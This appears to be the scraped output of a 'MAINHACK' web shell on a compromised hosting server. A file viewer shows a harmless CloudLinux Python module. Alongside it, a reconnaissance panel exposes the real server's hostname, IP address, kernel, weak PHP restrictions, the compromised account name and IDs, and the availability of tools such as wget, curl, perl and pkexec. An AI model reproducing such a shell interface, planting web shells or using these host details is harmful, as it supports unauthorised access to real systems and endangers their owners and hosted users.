[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: clos_ssa_ini.py
File is not writable. Editing disabled.
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT """ Shared constants and helpers for clos_ssa.ini file management. """ import pwd import re INI_FILE_NAME = 'clos_ssa.ini' # Base user locations for clos_ssa.ini files INI_USER_LOCATIONS_BASE = ( dict(path='/var/cagefs/*/*/etc/cl.php.d/alt-php[0-9][0-9]', user=lambda path: pwd.getpwnam(path.split('/')[4])), ) # Per-website locations used when website isolation is enabled INI_USER_LOCATIONS_WEBSITE_ISOLATION = ( dict(path='/var/cagefs/*/*/etc/cl.php.d/*/alt-php[0-9][0-9]', user=lambda path: pwd.getpwnam(path.split('/')[4])), ) # Directories to exclude EXCLUDE_DIR_PATHS = ( 'php44', 'php51', 'php52', 'php53', r'php\d+-imunify', 'php-internal' ) def is_excluded_path(dir_path: str) -> bool: """Check if given path is in exclude list.""" for pattern in EXCLUDE_DIR_PATHS: if re.search(pattern, dir_path): return True return False def extract_php_version(path: str) -> str: """Extract PHP version number from path (e.g., 'alt-php80' -> '80').""" match = re.search(r'php(\d{2})', path) return match.group(1) if match else None
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.36 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: N/A